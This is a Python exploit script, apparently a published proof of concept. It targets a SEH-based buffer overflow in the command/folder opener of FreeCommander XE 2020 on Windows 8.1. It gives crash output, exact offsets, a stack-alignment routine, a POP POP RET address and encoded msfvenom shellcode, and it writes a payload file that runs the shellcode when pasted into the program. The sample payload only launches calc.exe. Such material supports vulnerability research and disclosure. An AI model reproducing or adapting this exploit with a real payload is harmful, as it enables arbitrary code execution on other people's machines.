#!/usr/bin/python
# Exploit Title: FreeCommander XE 2020 - Pathname Buffer Overflow (SEH)
# Version: Build 810a 32-bit
# Software Link: https://freecommander.com/downloads/FreeCommanderXE-32-public_setup.zip
# Date: 2020-03-28
# Exploit Author: Hodorsec (hodor@hodorsec.com / hodorsec@protonmail.com)
# Vendor Homepage: https://www.freecommander.com
# Tested on: Win8.1 x64 - Build 9600
# Description:
# - Exploits the command / folder opener in the main window by entering an overly string and pressing enter: a crash will occur and the Structured Exception Handler kicks in (SEH overflown).
# - Some stack alignment was required, which eventually led to the ability of running shellcode.
# Reproduction:
# - Use indicated OS or manipulate settings for stack alignment: your mileage may vary due to different offsets on other Windows versions / SP's.
# - Run the script, a TXT file will be generated
# - On the Windows machine, open the TXT file in Wordpad. Copy and paste the output in the command / folder opener of FreeCommander
# - Check results
# WinDBG initial crash output:
# (db4.648): Access violation - code c0000005 (!!! second chance !!!)
# *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\SYSTEM32\ntdll.dll -
# *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\FreeCommander XE\FreeCommander.exe -
# eax=00000000 ebx=00000000 ecx=00410041 edx=77e8ffaf esi=00000000 edi=00000000
# eip=00410041 esp=00091620 ebp=00091640 iopl=0 nv up ei pl zr na pe nc
# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
# FreeCommander+0x10041:
# 00410041 0064005c add byte ptr [eax+eax+5Ch],ah ds:002b:0000005c=??
import sys, struct
# Filename
filename = "win8_freecommander_poc.txt"
# Maximum length
maxlen = 2000
# Shellcode
# msfvenom -p windows/exec cmd=calc.exe -e x86/unicode_mixed -b "\x00\x0a\x0d" bufferregister=eax
# Payload size: 512 bytes
shellcode = (
"PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBYlzHTBypkPm0aP2ixep190bDTKnpP0bk0RJl4Kobn44KbRKxjoFW0Jo6p1KODlml1Q3LlBNLKpy1XOLMm1UwgrzR1Br7tKobzp2k0JmlDKNlJq2XySPHzaHQR1bkaImPIqWc2k0In8jCmjMyRknT2kzaZ6maIo4leq6ozmm1i7NX7pPul6JccMzXmk3MKtSEhdnxTKb8ldza6srFBklLPKbkqHMLKQhSbkM4dKIqVp1ymtmTldokokQQaIoj21yoK01OOoPZDKzrxkDM1MaZZa4M55UbM0ipkPr0S8nQRkROu7KOWeukHpTuFB1F2HvFBuWMuMio6umlM6CLZjQpIk7pRUlEWKa7mCsBrO1ZypR3ioxU0cS12LosnNpet80eM0AA"
)
# Offsets
seh = 522
nseh = seh - 2
# Venetian NOP
nop = "\x45"
# Aligning EBP with buffer
# ESP being closest to buffer
# ESP = 0018ecc4, Buffer = 0018fb5f: Buffer - ESP = 0x0e9b
align_esp = ( "\x54" # PUSH ESP
+ nop + # Padding
"\x58" # POP EAX
+ nop + # Padding
"\x05\x11\x11" # "\x05\x00\x10\x00\x11" # 0500100011 add eax,0x11001000 --\
+ nop + # Padding |--> Adds 0x0f00 bytes
"\x2d\x02\x11" # "\x2d\x00\x01\x00\x11" # 2d00010011 sub eax,0x11000100 --/
+ nop + # Padding
"\x40" # INC EAX # Added due to one-off unicode byte
+ nop + # Padding
"\x50" # PUSH EAX
+ nop + # Padding
"\xc3" # RET
)
# Prefix
prefix = "A" * seh # Fill junk
# NSEH/SEH
nseh = "\x41\x45" # NOP --> INC ECX # ADD [EBP], AL
seh = "\x71\x4c" # POP POP RET
# Suffix
suffix = nop * 3 # Align
suffix += align_esp # Align registers; EAX for executing shellcode
suffix += nop * 48 # Nopping until buffer
suffix += shellcode # Do some magic
suffix += "D" * (maxlen - len(prefix + nseh + seh + suffix)) # Fill junk
# Concatenate string for payload
payload = prefix + nseh + seh + suffix # Put it all together
try:
file = open(filename,"wb")
file.write(payload)
file.close()
print "[+] File " + filename + " with size of " + str(len(payload)) + " created successfully"
except:
print "[!] Error creating file!"
sys.exit(0)
